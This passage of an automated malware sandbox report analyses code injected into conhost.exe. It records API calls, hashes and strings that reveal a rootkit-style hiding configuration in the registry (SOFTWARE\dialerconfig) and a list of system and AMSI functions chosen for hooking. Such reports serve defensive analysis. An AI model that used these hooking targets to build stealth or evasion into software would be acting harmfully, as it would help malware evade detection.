Opcode Fuzzy Hash: f925565bd7d4be1ed18a10d933f5cc473e240d0c1127f16e8bee8d0f787d3ad7
Instruction Fuzzy Hash: 43118C3071470182FBB09B3BABCDBAB2AA1B794B15F48412D970681ED5DF78C0E98E04

Function 0000024089942AC0 Relevance: 1.7, APIs: 1, Instructions: 240libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 0000024089942C32

Memory Dump Source

Source File: 0000001F.00000003.1816754246.0000024089940000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024089940000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_3_24089940000_conhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8f72cda2533f8c81468787ed5508378e1f4737ebbed7a3ee8edbd934de0862d8
Instruction ID: 0a9cd779f5ecb5ae187cfc18bba578c791e85146061aa3d595181445541c11bc
Opcode Fuzzy Hash: 8f72cda2533f8c81468787ed5508378e1f4737ebbed7a3ee8edbd934de0862d8
Instruction Fuzzy Hash: 57913572F0125087EB66EF19D68CB6DB391F754B98F548124DF8A0B788DA39D893C708

Function 000002408A291AC8 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002408A291628: GetProcessHeap.KERNEL32 ref: 000002408A291633
Part of subcall function 000002408A291628: HeapAlloc.KERNEL32 ref: 000002408A291642
Part of subcall function 000002408A291628: RegOpenKeyExW.ADVAPI32 ref: 000002408A2916B2
Part of subcall function 000002408A291628: RegOpenKeyExW.ADVAPI32 ref: 000002408A2916DF
Part of subcall function 000002408A291628: RegCloseKey.ADVAPI32 ref: 000002408A2916F9
Part of subcall function 000002408A291628: RegOpenKeyExW.ADVAPI32 ref: 000002408A291719
Part of subcall function 000002408A291628: RegCloseKey.ADVAPI32 ref: 000002408A291734
Part of subcall function 000002408A291628: RegOpenKeyExW.ADVAPI32 ref: 000002408A291754
Part of subcall function 000002408A291628: RegCloseKey.ADVAPI32 ref: 000002408A29176F
Part of subcall function 000002408A291628: RegOpenKeyExW.ADVAPI32 ref: 000002408A29178F
Part of subcall function 000002408A291628: RegCloseKey.ADVAPI32 ref: 000002408A2917AA
Part of subcall function 000002408A291628: RegOpenKeyExW.ADVAPI32 ref: 000002408A2917CA

SleepEx.KERNELBASE ref: 000002408A291AE3

Part of subcall function 000002408A291628: RegCloseKey.ADVAPI32 ref: 000002408A2917E5
Part of subcall function 000002408A291628: RegOpenKeyExW.ADVAPI32 ref: 000002408A291805
Part of subcall function 000002408A291628: RegCloseKey.ADVAPI32 ref: 000002408A291820
Part of subcall function 000002408A291628: RegOpenKeyExW.ADVAPI32 ref: 000002408A291840
Part of subcall function 000002408A291628: RegCloseKey.ADVAPI32 ref: 000002408A29185B
Part of subcall function 000002408A291628: RegOpenKeyExW.ADVAPI32 ref: 000002408A29187B
Part of subcall function 000002408A291628: RegCloseKey.ADVAPI32 ref: 000002408A291896
Part of subcall function 000002408A291628: RegCloseKey.ADVAPI32 ref: 000002408A2918A0

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 65153283aa6c96ced916157d2f86422634ff98b4549c9c2683df96b80b9c3d6c
Instruction ID: 2e7c0ef327f033da401da23f9b72094cb691cd4766ec6c6fd812f005b61ce3bf
Opcode Fuzzy Hash: 65153283aa6c96ced916157d2f86422634ff98b4549c9c2683df96b80b9c3d6c
Instruction Fuzzy Hash: 5D31CC7171060182FBB4DB2BD7E876B16A6AB84FD0F4C54219F0D87BD5EE34C8D18A50

Non-executed Functions

Function 000002408A292BF4 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000002408A292C98
lstrlenW.KERNEL32 ref: 000002408A292EC2

Part of subcall function 000002408A291934: OpenProcess.KERNEL32 ref: 000002408A29195A
Part of subcall function 000002408A291934: K32GetModuleFileNameExW.KERNEL32 ref: 000002408A291978
Part of subcall function 000002408A291934: PathFindFileNameW.SHLWAPI ref: 000002408A291987
Part of subcall function 000002408A291934: lstrlenW.KERNEL32 ref: 000002408A291993
Part of subcall function 000002408A291934: StrCpyW.SHLWAPI ref: 000002408A2919A6
Part of subcall function 000002408A291934: CloseHandle.KERNEL32 ref: 000002408A2919B4

GetProcAddress.KERNEL32 ref: 000002408A292CAD

Part of subcall function 000002408A293C74: StrCmpNIW.SHLWAPI(?,?,?,000002408A29254B), ref: 000002408A293C8C

StrCmpNIW.SHLWAPI ref: 000002408A292CF0
lstrlenW.KERNEL32 ref: 000002408A292E18

Strings

NtQueryObject, xrefs: 000002408A292CA3
\Device\Nsi, xrefs: 000002408A292CE3
ntdll.dll, xrefs: 000002408A292C91

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: eeb4c9d13e4d9331326a316f022dbcf34e2f04a28c739e06152b1c27ab991b03
Instruction ID: c765a4f013e48caad2c330f221094fb91a40caba9c5bd62ab6d77f4cb9508628
Opcode Fuzzy Hash: eeb4c9d13e4d9331326a316f022dbcf34e2f04a28c739e06152b1c27ab991b03
Instruction Fuzzy Hash: D0B16E7231069182EB759F2AD688BAABBA8F744F84F585016EF4953F94DB34DDC0CB40

Function 000002408A2981C0 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002408A2981DC
RtlCaptureContext.NTDLL ref: 000002408A298209
RtlLookupFunctionEntry.NTDLL ref: 000002408A298223
RtlVirtualUnwind.NTDLL ref: 000002408A298264
IsDebuggerPresent.KERNEL32 ref: 000002408A2982B8
SetUnhandledExceptionFilter.KERNEL32 ref: 000002408A2982D9
UnhandledExceptionFilter.KERNEL32 ref: 000002408A2982E4

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 83b7811ed3dfc20f87799ca4d6a8862c7cd88f8e2de3ef0f3c1075f59fefca25
Instruction ID: 04c331b0691764d5ca24158a2842f217291fbd7bedd16f2503b57e6b41f6b301
Opcode Fuzzy Hash: 83b7811ed3dfc20f87799ca4d6a8862c7cd88f8e2de3ef0f3c1075f59fefca25
Instruction Fuzzy Hash: B6311C72305B808AEB709F65E8947DA7764F794B44F48442ADB4E47A98DF38C588CB10

Function 000002408A29D6D4 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002408A29D74D
RtlLookupFunctionEntry.NTDLL ref: 000002408A29D765
RtlVirtualUnwind.NTDLL ref: 000002408A29D7A0
IsDebuggerPresent.KERNEL32 ref: 000002408A29D7D9
SetUnhandledExceptionFilter.KERNEL32 ref: 000002408A29D7E3
UnhandledExceptionFilter.KERNEL32 ref: 000002408A29D7EE

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 73b818fc325fecaacad8de34b866da11aee815d79a746152a1b7109c0a3c76cf
Instruction ID: 13fb4ef1d9da1cd713a0941815fd9a6c8405a18c464eaece96056fddbba0f3c4
Opcode Fuzzy Hash: 73b818fc325fecaacad8de34b866da11aee815d79a746152a1b7109c0a3c76cf
Instruction Fuzzy Hash: 1A313D36314B8086DB608F2AE98479E77A4F788B54F540216EB9D43F99DF38C196CB00

Function 000002408A297D90 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000002408A297DBC
GetCurrentThreadId.KERNEL32 ref: 000002408A297DCA
GetCurrentProcessId.KERNEL32 ref: 000002408A297DD6
QueryPerformanceCounter.KERNEL32 ref: 000002408A297DE6

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 489f61d66183c236694581db33bccd4d3439c18b3469579d7712a38510163ede
Instruction ID: ffa174e198c7cbdde9477c3ca9fd96983d377114fcc421d62661ed797c204035
Opcode Fuzzy Hash: 489f61d66183c236694581db33bccd4d3439c18b3469579d7712a38510163ede
Instruction Fuzzy Hash: EB115E32710F008AEB10CF65E8883A833A4F318768F040E21EF6D42FA4DB78D1E58780

Function 000002408A29E110 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 223b01cd0f930ae752de15cad39410bfb9f0e3b9a5322d2e97186d94b51f497c
Instruction ID: d42af565174c3eefed0d35b29dc0076035e1cb4af492d8a6cc6267ab02a203d9
Opcode Fuzzy Hash: 223b01cd0f930ae752de15cad39410bfb9f0e3b9a5322d2e97186d94b51f497c
Instruction Fuzzy Hash: 3651B33270079099FB309B7BAA88A9F7FA5B744B94F184215EF5927E95DB38C491CB00

Function 0000024089953B20 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000003.1816754246.0000024089940000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024089940000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_3_24089940000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cae390c6a42f7aa34880c2341c4c444ed621bc792ca3f489e9df2915f57af0cb
Instruction ID: c67dd963b3d750ad12bde0fdc99c5ae1ed9655487f0c93fb355788bed241829b
Opcode Fuzzy Hash: cae390c6a42f7aa34880c2341c4c444ed621bc792ca3f489e9df2915f57af0cb
Instruction Fuzzy Hash: 05F01271B156948EDBA99F2CA94771A77E1F358384FD4811AE7C9C3B14D63C84A1CF04

Function 000002408A291628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002408A291633
HeapAlloc.KERNEL32 ref: 000002408A291642

Part of subcall function 000002408A291268: GetProcessHeap.KERNEL32 ref: 000002408A29126E
Part of subcall function 000002408A291268: HeapAlloc.KERNEL32 ref: 000002408A29127D
Part of subcall function 000002408A291268: GetProcessHeap.KERNEL32 ref: 000002408A291297
Part of subcall function 000002408A291268: HeapAlloc.KERNEL32 ref: 000002408A2912A8

Part of subcall function 000002408A291000: GetProcessHeap.KERNEL32 ref: 000002408A291006
Part of subcall function 000002408A291000: HeapAlloc.KERNEL32 ref: 000002408A291015
Part of subcall function 000002408A291000: GetProcessHeap.KERNEL32 ref: 000002408A291028
Part of subcall function 000002408A291000: HeapAlloc.KERNEL32 ref: 000002408A291037

RegOpenKeyExW.ADVAPI32 ref: 000002408A2916B2
RegOpenKeyExW.ADVAPI32 ref: 000002408A2916DF
RegCloseKey.ADVAPI32 ref: 000002408A2916F9
RegOpenKeyExW.ADVAPI32 ref: 000002408A291719
RegCloseKey.ADVAPI32 ref: 000002408A291734
RegOpenKeyExW.ADVAPI32 ref: 000002408A291754
RegCloseKey.ADVAPI32 ref: 000002408A29176F
RegOpenKeyExW.ADVAPI32 ref: 000002408A29178F
RegCloseKey.ADVAPI32 ref: 000002408A2917AA
RegOpenKeyExW.ADVAPI32 ref: 000002408A2917CA
RegCloseKey.ADVAPI32 ref: 000002408A2917E5
RegOpenKeyExW.ADVAPI32 ref: 000002408A291805
RegCloseKey.ADVAPI32 ref: 000002408A291820
RegOpenKeyExW.ADVAPI32 ref: 000002408A291840
RegCloseKey.ADVAPI32 ref: 000002408A29185B
RegOpenKeyExW.ADVAPI32 ref: 000002408A29187B
RegCloseKey.ADVAPI32 ref: 000002408A291896
RegCloseKey.ADVAPI32 ref: 000002408A2918A0

Part of subcall function 000002408A2912BC: RegQueryInfoKeyW.ADVAPI32 ref: 000002408A291319
Part of subcall function 000002408A2912BC: GetProcessHeap.KERNEL32 ref: 000002408A291327
Part of subcall function 000002408A2912BC: HeapAlloc.KERNEL32 ref: 000002408A291338
Part of subcall function 000002408A2912BC: RegEnumValueW.ADVAPI32 ref: 000002408A291397
Part of subcall function 000002408A2912BC: GetProcessHeap.KERNEL32 ref: 000002408A2913DF
Part of subcall function 000002408A2912BC: HeapAlloc.KERNEL32 ref: 000002408A2913ED
Part of subcall function 000002408A2912BC: GetProcessHeap.KERNEL32 ref: 000002408A29140A
Part of subcall function 000002408A2912BC: HeapFree.KERNEL32 ref: 000002408A291418
Part of subcall function 000002408A2912BC: lstrlenW.KERNEL32 ref: 000002408A291421
Part of subcall function 000002408A2912BC: GetProcessHeap.KERNEL32 ref: 000002408A29142F
Part of subcall function 000002408A2912BC: HeapAlloc.KERNEL32 ref: 000002408A29143D

Strings

pid, xrefs: 000002408A291712
startup, xrefs: 000002408A2916D5
process_names, xrefs: 000002408A29174D
paths, xrefs: 000002408A291788
service_names, xrefs: 000002408A2917C3
udp, xrefs: 000002408A291874
SOFTWARE\dialerconfig, xrefs: 000002408A291692
tcp_local, xrefs: 000002408A2917FE
tcp_remote, xrefs: 000002408A291839

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-2879589442
Opcode ID: 50c73d645853b92a642b33fc6a066fdc959384cfa368f387aec294c2099e88a8
Instruction ID: 7ca1741dd716dac20cc6041481acbb2c191fd386f35fa871a9dbe7236b02502e
Opcode Fuzzy Hash: 50c73d645853b92a642b33fc6a066fdc959384cfa368f387aec294c2099e88a8
Instruction Fuzzy Hash: F571E936710A2186EB60DF6BE998A9A37A4F784F88F451111DF4E57F69DF34C484CB40

Function 000002408A291D40 Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 80
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000002408A291D4B

Part of subcall function 000002408A2920C4: GetModuleHandleA.KERNEL32(?,?,?,000002408A291D7D), ref: 000002408A2920DC
Part of subcall function 000002408A2920C4: GetProcAddress.KERNEL32(?,?,?,000002408A291D7D), ref: 000002408A2920ED

Part of subcall function 000002408A295F60: GetCurrentThreadId.KERNEL32 ref: 000002408A295F9B

Strings

NtEnumerateKey, xrefs: 000002408A291DE5
PdhGetRawCounterArrayW, xrefs: 000002408A291E9C
EnumServiceGroupW, xrefs: 000002408A291E1C
NtEnumerateValueKey, xrefs: 000002408A291E02
AmsiScanBuffer, xrefs: 000002408A291EDE
amsi.dll, xrefs: 000002408A291EE5
NtQueryDirectoryFile, xrefs: 000002408A291DAB
NtDeviceIoControlFile, xrefs: 000002408A291E82
PdhGetFormattedCounterArrayW, xrefs: 000002408A291EBD
NtResumeThread, xrefs: 000002408A291D8E
pdh.dll, xrefs: 000002408A291EA3, 000002408A291EC4
NtQueryDirectoryFileEx, xrefs: 000002408A291DC8
sechost.dll, xrefs: 000002408A291E65
NtQuerySystemInformation, xrefs: 000002408A291D71
advapi32.dll, xrefs: 000002408A291E23, 000002408A291E44
ntdll.dll, xrefs: 000002408A291D59
EnumServicesStatusExW, xrefs: 000002408A291E3D, 000002408A291E5E

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 4175298099-4225371247
Opcode ID: 89246b417a86cb3eef481aa141f8dfd28da3205d5bec25beb87351269da72666
Instruction ID: 4b6949b511a17a93cf531f62de2fa13893cb13f11e601c96369a4066e8bf6214
Opcode Fuzzy Hash: 89246b417a86cb3eef481aa141f8dfd28da3205d5bec25beb87351269da72666
Instruction Fuzzy Hash: B541D8B4300A1AA1FB24EB5FEAD9BD57721B710B54FC81513970903DB1AE7892CECB60

Function 000002408A2912BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002408A291319
GetProcessHeap.KERNEL32 ref: 000002408A291327
HeapAlloc.KERNEL32 ref: 000002408A291338
RegEnumValueW.ADVAPI32 ref: 000002408A291397

Part of subcall function 000002408A29152C: StrCmpIW.SHLWAPI ref: 000002408A29155D

GetProcessHeap.KERNEL32 ref: 000002408A2913DF
HeapAlloc.KERNEL32 ref: 000002408A2913ED
GetProcessHeap.KERNEL32 ref: 000002408A29140A
HeapFree.KERNEL32 ref: 000002408A291418
lstrlenW.KERNEL32 ref: 000002408A291421
GetProcessHeap.KERNEL32 ref: 000002408A29142F
HeapAlloc.KERNEL32 ref: 000002408A29143D
StrCpyW.SHLWAPI ref: 000002408A29145F
GetProcessHeap.KERNEL32 ref: 000002408A291476
HeapFree.KERNEL32 ref: 000002408A291484

Strings

d, xrefs: 000002408A29135A

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: cc1628f5bdf40f209b9d07d80321b7de87e74088023d72a2e45934eb7399fe90
Instruction ID: 7b9880a0304c11a639402dd2a4da6be2d71d15f03c511fe4b11c21f3a6ed6954
Opcode Fuzzy Hash: cc1628f5bdf40f209b9d07d80321b7de87e74088023d72a2e45934eb7399fe90
Instruction Fuzzy Hash: D7511936704B9486EB64CF6BE68C75ABBA1F788F99F044124DF4907B58DF38D0898B00

Function 0000024089946D40 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000024089946D68
__scrt_acquire_startup_lock.LIBCMT ref: 0000024089946DBA
_RTC_Initialize.LIBCMT ref: 0000024089946DE8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000024089946E0E
__scrt_release_startup_lock.LIBCMT ref: 0000024089946E39

Strings

restrict(, xrefs: 0000024089946E17
ned, xrefs: 0000024089946E1E
destructor', xrefs: 0000024089946F69, 0000024089946FE2, 000002408994701C

Memory Dump Source

Source File: 0000001F.00000003.1816754246.0000024089940000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024089940000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_3_24089940000_conhost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: destructor'$ned$restrict(
API String ID: 190073905-924718728
Opcode ID: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction ID: a966c86bd3bd2c5ad5e125b4be24deb95fc7661c0ebede70505280159aed00ce
Opcode Fuzzy Hash: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction Fuzzy Hash: A181F761E016458AFB63BB6E9BCD39A27D0BB95780F444025BBC947797DB38C8C78708

Function 000002408A29D258 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,000002408A2A0E9B,?,?,?,000002408A2A088C,?,?,?,000002408A29CC7F), ref: 000002408A29D267
FlsGetValue.KERNEL32(?,?,?,000002408A2A0E9B,?,?,?,000002408A2A088C,?,?,?,000002408A29CC7F), ref: 000002408A29D27C
FlsSetValue.KERNEL32(?,?,?,000002408A2A0E9B,?,?,?,000002408A2A088C,?,?,?,000002408A29CC7F), ref: 000002408A29D29D
FlsSetValue.KERNEL32(?,?,?,000002408A2A0E9B,?,?,?,000002408A2A088C,?,?,?,000002408A29CC7F), ref: 000002408A29D2CA
FlsSetValue.KERNEL32(?,?,?,000002408A2A0E9B,?,?,?,000002408A2A088C,?,?,?,000002408A29CC7F), ref: 000002408A29D2DB
FlsSetValue.KERNEL32(?,?,?,000002408A2A0E9B,?,?,?,000002408A2A088C,?,?,?,000002408A29CC7F), ref: 000002408A29D2EC
SetLastError.KERNEL32(?,?,?,000002408A2A0E9B,?,?,?,000002408A2A088C,?,?,?,000002408A29CC7F), ref: 000002408A29D307
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000002408A2A0E9B,?,?,?,000002408A2A088C,?,?,?,000002408A29CC7F), ref: 000002408A29D33D
FlsSetValue.KERNEL32(?,?,00000001,000002408A29F0FC,?,?,?,?,000002408A29C3CF,?,?,?,?,?,000002408A297EE0), ref: 000002408A29D35C

Part of subcall function 000002408A29DAFC: HeapAlloc.KERNEL32(?,?,00000000,000002408A29D432,?,?,?,000002408A29DAE5,?,?,?,?,000002408A29DBA8), ref: 000002408A29DB51

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002408A2A0E9B,?,?,?,000002408A2A088C,?,?,?,000002408A29CC7F), ref: 000002408A29D384

Part of subcall function 000002408A29DB74: HeapFree.KERNEL32(?,?,?,?,?,?,?,000002408A29643A), ref: 000002408A29DB8A
Part of subcall function 000002408A29DB74: GetLastError.KERNEL32(?,?,?,?,?,?,?,000002408A29643A), ref: 000002408A29DB94

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002408A2A0E9B,?,?,?,000002408A2A088C,?,?,?,000002408A29CC7F), ref: 000002408A29D395
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002408A2A0E9B,?,?,?,000002408A2A088C,?,?,?,000002408A29CC7F), ref: 000002408A29D3A6

Memory Dump Source

Source File: 0000001F.00000002.1988041930.000002408A291000.00000020.00001000.00020000.00000000.sdmp, Offset: 000002408A290000, based on PE: true

Associated: 0000001F.00000002.1988012898.000002408A290000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988102709.000002408A2A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988272423.000002408A2B1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988406986.000002408A2B3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000001F.00000002.1988445155.000002408A2B9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_2408a290000_conhost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
